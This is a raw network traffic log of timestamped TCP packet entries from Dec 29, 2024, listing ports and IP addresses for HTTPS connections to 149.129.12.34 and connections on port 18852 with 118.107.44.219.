Dec 29, 2024 09:02:05.445194960 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.445245028 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.445256948 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.445292950 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.450845957 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.450860977 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.450896978 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.450910091 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.450927019 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.450942993 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.455832005 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.455848932 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.455908060 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.455919981 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.455955029 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.461544991 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.461560965 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.461621046 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.461631060 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.461664915 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.466818094 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.466831923 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.466901064 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.466912985 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.466948032 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.557929039 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.557964087 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.558008909 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.558027029 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.558043003 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.558064938 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.598258972 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.598278046 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.598335028 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.598346949 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.598381996 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.632044077 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.632062912 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.632287979 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.632297039 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.632337093 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.637676001 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.637690067 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.637762070 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.637768030 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.637797117 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.642657995 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.642673016 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.642744064 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.642750978 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.642791033 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.648279905 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.648296118 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.648363113 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.648370981 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.648411989 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.653949976 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.653965950 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.654041052 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.654056072 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.654097080 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.659198046 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.659213066 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.659280062 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.659293890 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.659328938 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.750055075 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.750080109 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.750128031 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.750152111 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.750174046 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.750185966 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.790277004 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.790294886 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.790482044 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.790543079 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.790597916 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.824996948 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.825015068 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.825076103 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.825098038 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.825128078 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.825150967 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.830635071 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.830650091 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.830717087 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.830733061 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.830785990 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.835675955 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.835690975 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.835753918 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.835784912 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.835841894 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.841331959 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.841358900 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.841408968 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.841423988 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.841463089 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.841485023 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.846888065 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.846904039 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.846968889 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.846983910 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.847037077 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.852297068 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.852312088 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.852374077 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.852389097 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.852438927 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.942153931 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.942176104 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.942265034 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.942291021 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.942322016 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.942341089 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.982664108 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.982683897 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.982743025 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.982759953 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.982810020 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.017153025 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.017169952 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.017221928 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.017262936 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.017291069 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.017313004 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.022819042 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.022838116 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.022907019 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.022922993 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.022975922 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.027827024 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.027841091 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.027884960 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.027899027 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.027926922 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.027945995 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.033325911 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.033340931 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.033401966 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.033416033 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.033464909 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.039083958 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.039098978 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.039148092 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.039160967 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.039197922 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.039218903 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.044387102 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.044400930 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.044528961 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.044543982 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.044595957 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.134241104 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.134274006 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.134311914 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.134327888 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.134377956 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.134377956 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.174623013 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.174640894 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.174735069 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.174735069 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.174756050 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.174806118 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.209778070 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.209794998 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.209845066 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.209880114 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.209904909 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.209928989 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.214731932 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.214749098 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.214792013 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.214828968 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.214842081 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.214889050 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.220284939 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.220299959 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.220340014 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.220354080 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.220382929 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.220423937 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.225990057 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.226005077 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.226048946 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.226079941 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.226123095 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.230961084 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.230974913 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.231021881 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.231045008 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.231070042 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.231102943 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.236943960 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.236960888 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.237011909 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.237030029 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.237056017 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.237076044 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.326304913 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.326324940 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.326395035 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.326419115 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.326500893 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.366698027 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.366713047 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.366800070 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.366800070 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.366822004 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.366873980 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.401693106 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.401709080 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.401766062 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.401784897 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.401834965 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.407303095 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.407334089 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.407382011 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.407406092 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.407433033 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.407453060 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.412940979 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.412969112 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.413124084 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.413140059 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.413196087 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.417915106 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.417929888 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.417998075 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.418013096 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.418061972 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.423597097 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.423613071 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.423669100 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.423685074 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.423738003 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.429588079 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.429603100 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.429655075 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.429675102 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.429702997 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.429723024 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.449104071 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.449136019 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.449160099 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.449186087 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.449284077 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.449301004 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.449317932 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.449326992 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.449337006 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.449353933 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.449534893 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.449552059 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.449568033 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.449577093 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.449609995 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.518531084 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.518559933 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.518640041 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.518663883 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.518717051 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.558590889 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.558609009 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.558670998 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.558686972 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.558736086 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.568707943 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.568738937 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.568789959 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.594130993 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.594146967 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.594213009 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.594229937 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.594293118 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.599663973 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.599679947 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.599766016 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.599781990 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.599836111 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.605355978 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.605371952 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.605446100 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.605460882 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.605510950 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.610321045 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.610346079 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.610408068 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.610423088 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.610449076 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.610466957 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.615906000 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.615921974 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.616003990 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.616041899 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.616105080 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.621331930 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.621347904 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.621416092 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.621431112 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.621498108 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.657597065 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.657696962 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.657752991 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.661775112 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.661854029 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.661904097 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.670145035 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.670232058 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.670284986 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.678477049 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.678579092 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.678633928 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.686882973 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.686975956 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.687026024 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.695235968 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.695379972 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.695430040 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.703613043 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.703721046 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.703777075 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.710633039 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.710655928 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.710735083 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.710756063 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.710787058 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.710808039 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.711966038 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.712059975 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.712111950 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.720341921 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.720448017 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.720491886 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.728729010 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.728838921 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.728992939 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.737166882 CET	18852	49736	118.107.44.219	192.168.2.4
